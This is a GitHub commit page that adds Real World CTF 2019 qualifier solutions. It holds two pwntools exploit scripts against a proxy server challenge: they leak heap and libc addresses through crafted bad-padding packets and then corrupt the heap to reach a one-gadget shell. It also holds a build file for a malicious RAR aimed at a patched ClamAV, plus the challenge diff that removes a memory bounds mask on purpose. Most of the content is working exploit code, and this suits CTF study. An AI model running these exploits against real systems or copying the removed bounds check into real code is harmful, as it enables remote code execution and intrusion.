Skip to content

Commit 07d7439

Browse files
committed
realworld-ctf-quals-2019
1 parent 30277b3 commit 07d7439

File tree

15 files changed

+594
-0
lines changed

15 files changed

+594
-0
lines changed

README.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -178,6 +178,12 @@ These challenges are created by me so there're scripts for creating them.
178178

179179
* frawler (pwn 500pts)
180180

181+
## realworld-ctf-quals-2019
182+
183+
* Across the Great Wall (pwn 378pts)
184+
* anti-antivirus (pwn 290pts)
185+
* faX senDeR (pwn 224pts)
186+
181187
## teaser-confidence-quals-2019
182188

183189
* go-machine (rev 304pts)
Binary file not shown.
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
#!/usr/bin/env python2
2+
3+
from pwn import *
4+
import sys
5+
import time
6+
import os
7+
import hashlib
8+
from Crypto.Cipher import AES
9+
10+
local = True
11+
host = '127.0.0.1'
12+
if len(sys.argv) > 1 and sys.argv[1][0] == 'r':
13+
local = False
14+
host = '54.153.22.136'
15+
pp = 1
16+
def get_port():
17+
global pp
18+
if local:
19+
# pp = process('./shadow_server')#, env={'LD_PRELOAD': './libCoroutine.so'})
20+
pp = remote('127.0.0.1', 31337)
21+
else:
22+
pp = remote(host, 3343)
23+
s = pp.recvuntil('bind at ')
24+
print(s)
25+
return int(pp.recvline())
26+
27+
aport = port = get_port()
28+
r = remote(host, port)
29+
context.arch = 'amd64'
30+
password = 'meiyoumima'
31+
32+
def aes_encrypt(data, key, iv):
33+
return AES.new(key, AES.MODE_CBC, iv).encrypt(data)
34+
35+
def sha256(ary):
36+
c = hashlib.sha256()
37+
for a in ary:
38+
c.update(a)
39+
return c.digest()
40+
41+
def aes_token(token, data_ary):
42+
t = sha256([password, token])
43+
key = t[0:16]
44+
iv = t[16:32]
45+
return aes_encrypt(''.join(data_ary), key, iv)
46+
47+
# context.log_level = 'debug'
48+
def enc_proto(data, bad_pad = False, bad_length = False):
49+
data_size = len(data)
50+
pad_size = 16 - data_size % 16
51+
random_len = 0
52+
length = 80 + data_size + pad_size + random_len
53+
timestamp = int(time.time())
54+
noise = os.urandom(8)
55+
token = sha256([password, p64(timestamp), noise])[0:16]
56+
log.info('token: ' + repr(token))
57+
main_version = 1
58+
padding = "\x00" * 10
59+
for i in range(pad_size):
60+
if bad_pad:
61+
data = data + chr(128)
62+
else:
63+
data = data + chr(pad_size)
64+
# random_len == 0
65+
if bad_length:
66+
length = 79
67+
hash_sum = sha256([token, p64(timestamp), noise, p8(main_version), p32(length), p8(random_len), padding, "\x00" * 32, data])
68+
final = aes_token(token, [p64(timestamp), noise, p8(main_version), p32(length), p8(random_len), padding, hash_sum, data])
69+
return token + final
70+
r2 = remote(host, aport)
71+
def ip2int(addr):
72+
return struct.unpack("!I", socket.inet_aton(addr))[0]
73+
ip = '127.0.0.1'
74+
port = 60011
75+
l = listen(port)
76+
r.send(enc_proto('\x01\x01\x01' + p32(ip2int(ip))[::-1] + p16(port)[::-1]))
77+
l.wait_for_connection()
78+
r.send(enc_proto('B' * 1024)) # , bad_pad=True))
79+
for i in range(10):
80+
r.send(enc_proto(chr(0x65 + i) * 8, bad_pad=True))
81+
r.send(enc_proto('A' * 47, bad_pad=True))
82+
l.recvuntil('h' * 8 + '\x80' * 8)
83+
s = l.recvuntil('AAAAAAAAAA', drop=True)
84+
# print(repr(s))
85+
heap = u64(s[0:8]) # - 0x16e18
86+
libc = u64(s[24:32]) - 0x3ebca0
87+
log.info('heap @ ' + hex(heap))
88+
log.info('libc @ ' + hex(libc))
89+
# pause()
90+
port2 = port + 1
91+
l2 = listen(port2)
92+
# context.log_level = 'debug'
93+
r2.send(enc_proto('\x01\x01\x03' + chr(len(ip)) + ip + p16(port2)[::-1]))
94+
l2.wait_for_connection()
95+
vtable = heap + 0x138
96+
call = heap+0x250
97+
magic = libc + 0xe585f # 0xfaceb00c # heap + 0x1c8
98+
l.close()
99+
r.close()
100+
tmp=[remote(host,aport)]
101+
r3=remote(host,aport)
102+
r2.send(enc_proto('A', bad_length=True))
103+
r2.send(
104+
flat(magic, 0x51, 0x9,0xb,0xc,0xd,0xe,0xf,0x11,0x12)+
105+
flat(0, 0x41, 0x1b,0x2c,0x3d,0x4e,0x5f)+
106+
flat(0, 0x51, 0x9,call,0xc,0xd,0xe,0xf,0x11,0x12)+
107+
flat(0, 0x41, 0x1b,0x2c,0x3d,0x4e,0x5f)+
108+
''
109+
)
110+
111+
# pause()
112+
time.sleep(1)
113+
r2.send('A')
114+
r2.close()
115+
116+
r3.send('AAAA')
117+
for a in tmp:
118+
a.send('AAAA')
119+
context.log_level = 'debug'
120+
pp.interactive()
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
#!/usr/bin/env python2
2+
3+
from pwn import *
4+
import sys
5+
import time
6+
import os
7+
import hashlib
8+
from Crypto.Cipher import AES
9+
10+
local = True
11+
host = '127.0.0.1'
12+
if len(sys.argv) > 1 and sys.argv[1][0] == 'r':
13+
local = False
14+
host = '54.153.22.136'
15+
pp = 1
16+
def get_port():
17+
global pp
18+
if local:
19+
# pp = process('./shadow_server')#, env={'LD_PRELOAD': './libCoroutine.so'})
20+
pp = remote('127.0.0.1', 31337)
21+
else:
22+
pp = remote(host, 3343)
23+
s = pp.recvuntil('bind at ')
24+
print(s)
25+
return int(pp.recvline())
26+
27+
aport = port = get_port()
28+
r = remote(host, port)
29+
context.arch = 'amd64'
30+
password = 'meiyoumima'
31+
32+
def aes_encrypt(data, key, iv):
33+
return AES.new(key, AES.MODE_CBC, iv).encrypt(data)
34+
35+
def sha256(ary):
36+
c = hashlib.sha256()
37+
for a in ary:
38+
c.update(a)
39+
return c.digest()
40+
41+
def aes_token(token, data_ary):
42+
t = sha256([password, token])
43+
key = t[0:16]
44+
iv = t[16:32]
45+
return aes_encrypt(''.join(data_ary), key, iv)
46+
47+
# context.log_level = 'debug'
48+
def enc_proto(data, bad_pad = False, bad_length = False):
49+
data_size = len(data)
50+
pad_size = 16 - data_size % 16
51+
random_len = 0
52+
length = 80 + data_size + pad_size + random_len
53+
timestamp = int(time.time())
54+
noise = os.urandom(8)
55+
token = sha256([password, p64(timestamp), noise])[0:16]
56+
log.info('token: ' + repr(token))
57+
main_version = 1
58+
padding = "\x00" * 10
59+
for i in range(pad_size):
60+
if bad_pad:
61+
data = data + chr(128)
62+
else:
63+
data = data + chr(pad_size)
64+
# random_len == 0
65+
if bad_length:
66+
length = 79
67+
hash_sum = sha256([token, p64(timestamp), noise, p8(main_version), p32(length), p8(random_len), padding, "\x00" * 32, data])
68+
final = aes_token(token, [p64(timestamp), noise, p8(main_version), p32(length), p8(random_len), padding, hash_sum, data])
69+
return token + final
70+
r2 = remote(host, aport)
71+
def ip2int(addr):
72+
return struct.unpack("!I", socket.inet_aton(addr))[0]
73+
ip = '127.0.0.1'
74+
ip = os.environ['IP']
75+
port = 60011
76+
l = listen(port)
77+
r.send(enc_proto('\x01\x01\x01' + p32(ip2int(ip))[::-1] + p16(port)[::-1]))
78+
l.wait_for_connection()
79+
r.send(enc_proto('B' * 1024)) # , bad_pad=True))
80+
for i in range(10):
81+
r.send(enc_proto(chr(0x65 + i) * 8, bad_pad=True))
82+
r.send(enc_proto('A' * 47, bad_pad=True))
83+
l.recvuntil('h' * 8 + '\x80' * 8)
84+
s = l.recvuntil('AAAAAAAAAA', drop=True)
85+
# print(repr(s))
86+
heap = u64(s[0:8]) # - 0x16e18
87+
libc = u64(s[24:32]) - 0x3ebca0
88+
log.info('heap @ ' + hex(heap))
89+
log.info('libc @ ' + hex(libc))
90+
# pause()
91+
port2 = port + 1
92+
l2 = listen(port2)
93+
# context.log_level = 'debug'
94+
r2.send(enc_proto('\x01\x01\x03' + chr(len(ip)) + ip + p16(port2)[::-1]))
95+
l2.wait_for_connection()
96+
vtable = heap + 0x138
97+
call = heap+0x280
98+
magic = libc + 0xe585f # 0xfaceb00c # heap + 0x1c8
99+
tmp=[remote(host,aport)]
100+
r2.send(enc_proto('A', bad_length=True))
101+
r2.send(
102+
flat(call, 0x51, magic, 0x51) * 100
103+
)
104+
105+
time.sleep(1)
106+
r2.send('A')
107+
r2.close()
108+
109+
context.log_level = 'debug'
110+
pp.interactive()
111+
# rwctf{Across_the_Great_Wall_we_can_reach_every_corner_in_the_world_228f6bec172c}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# Add -DNEEDS_STRCHRNUL to end of CFLAGS if necessary
2+
CFLAGS = -ggdb3 -O0 -march=native -std=gnu99 -Wall
3+
LDFLAGS = $(CFLAGS)
4+
LDLIBS = -lz
5+
RARAS = ./rarvmtools/raras
6+
RARLD = ./rarvmtools/rarld
7+
8+
%.ri: %.rs
9+
cpp -Irarvmtools/stdlib < $< > $@
10+
11+
%.ro: %.ri
12+
$(RARAS) -o $@ $<
13+
14+
%.rar: %.ro
15+
$(RARLD) $< > $@
16+
17+
all: exp.rar
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
diff --git a/libclamunrar/unrar.c b/libclamunrar/unrar.c
2+
index ee850c2c6..45fcf1b2d 100644
3+
--- a/libclamunrar/unrar.c
4+
+++ b/libclamunrar/unrar.c
5+
@@ -1088,9 +1088,9 @@ static int rar_unpack29(int fd, int solid, unpack_data_t *unpack_data)
6+
7+
}
8+
}
9+
- if (retval) {
10+
+ /* if (retval) { */
11+
unp_write_buf(unpack_data);
12+
- }
13+
+ /* } */
14+
return retval;
15+
}
16+
17+
diff --git a/libclamunrar/unrarvm.c b/libclamunrar/unrarvm.c
18+
index 813ec0867..93722be03 100644
19+
--- a/libclamunrar/unrarvm.c
20+
+++ b/libclamunrar/unrarvm.c
21+
@@ -311,11 +311,13 @@ void rarvm_set_memory(rarvm_data_t *rarvm_data, unsigned int pos, uint8_t *data,
22+
}
23+
}
24+
25+
-static unsigned int *rarvm_get_operand(rarvm_data_t *rarvm_data,
26+
+/* static unsigned int *rarvm_get_operand(rarvm_data_t *rarvm_data, */
27+
+static size_t *rarvm_get_operand(rarvm_data_t *rarvm_data,
28+
struct rarvm_prepared_operand *cmd_op)
29+
{
30+
if (cmd_op->type == VM_OPREGMEM) {
31+
- return ((unsigned int *)&rarvm_data->mem[(*cmd_op->addr+cmd_op->base) & RARVM_MEMMASK]);
32+
+ /* return ((unsigned int *)&rarvm_data->mem[(*cmd_op->addr+cmd_op->base) & RARVM_MEMMASK]); */
33+
+ return ((size_t *)&rarvm_data->mem[(*cmd_op->addr+cmd_op->base) /*& RARVM_MEMMASK*/]);
34+
} else {
35+
return cmd_op->addr;
36+
}
37+
@@ -589,7 +591,8 @@ static int rarvm_execute_code(rarvm_data_t *rarvm_data,
38+
{
39+
int max_ops=25000000, i, SP;
40+
struct rarvm_prepared_command *cmd;
41+
- unsigned int value1, value2, result, divider, FC, *op1, *op2;
42+
+ unsigned int value1, value2, result, divider, FC/*, *op1, *op2*/;
43+
+ size_t *op1, *op2;
44+
const int reg_count=sizeof(rarvm_data->R)/sizeof(rarvm_data->R[0]);
45+
46+
rar_dbgmsg("in rarvm_execute_code\n");
47+
diff --git a/libclamunrar/unrarvm.h b/libclamunrar/unrarvm.h
48+
index 5babd6840..91caf44e1 100644
49+
--- a/libclamunrar/unrarvm.h
50+
+++ b/libclamunrar/unrarvm.h
51+
@@ -56,10 +56,13 @@ enum rarvm_op_type {
52+
};
53+
54+
struct rarvm_prepared_operand {
55+
- unsigned int *addr;
56+
+ // unsigned int *addr;
57+
+ size_t *addr;
58+
enum rarvm_op_type type;
59+
- unsigned int data;
60+
- unsigned int base;
61+
+ // unsigned int data;
62+
+ size_t data;
63+
+ // unsigned int base;
64+
+ size_t base;
65+
};
66+
67+
struct rarvm_prepared_command {
68+
@@ -76,7 +79,8 @@ struct rarvm_prepared_program {
69+
uint8_t *filtered_data;
70+
long global_size, static_size;
71+
int cmd_count;
72+
- unsigned int init_r[7];
73+
+ // unsigned int init_r[7];
74+
+ size_t init_r[7];
75+
unsigned int filtered_data_size;
76+
};
77+
78+
@@ -89,7 +93,8 @@ typedef struct rarvm_input_tag {
79+
80+
typedef struct rarvm_data_tag {
81+
uint8_t *mem;
82+
- unsigned int R[8];
83+
+ // unsigned int R[8];
84+
+ size_t R[8];
85+
unsigned int Flags;
86+
} rarvm_data_t;
87+
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
There is a patched [clamav](https://github.com/Cisco-Talos/clamav-devel)(commit id: `6c11e824a794770c469f3a46141d5ea7927b6ea6`) running on ubuntu:18.04.
2+
3+
Everytime you upload your payloads, we will scan these with the following commands
4+
```bash
5+
clamdscan your_upload_file
6+
clamscan your_upload_file
7+
```
8+
Try to pwn this antivirus software.
Binary file not shown.

0 commit comments

Comments
 (0)